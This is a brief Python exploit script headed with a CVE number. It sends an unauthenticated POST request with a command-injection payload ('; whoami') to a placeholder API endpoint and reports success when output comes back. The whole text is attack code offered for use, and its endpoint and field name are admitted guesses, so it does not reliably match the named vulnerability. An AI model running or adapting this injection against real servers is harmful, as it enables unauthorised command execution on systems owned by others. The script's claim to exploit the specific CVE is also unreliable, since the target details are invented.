CVE-2026-5935

import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "http://target-tssc-ip:port/vulnerable_api_endpoint" # Malicious payload to execute arbitrary command (e.g., 'whoami') # The payload exploits improper input validation to inject commands. payload = "; whoami" # Headers often required for console APIs headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } try: # Send the malicious request without authentication # The vulnerability specifically requires no authentication (PR:N) response = requests.post(target_url, data={"user_input": payload}, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Command output:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

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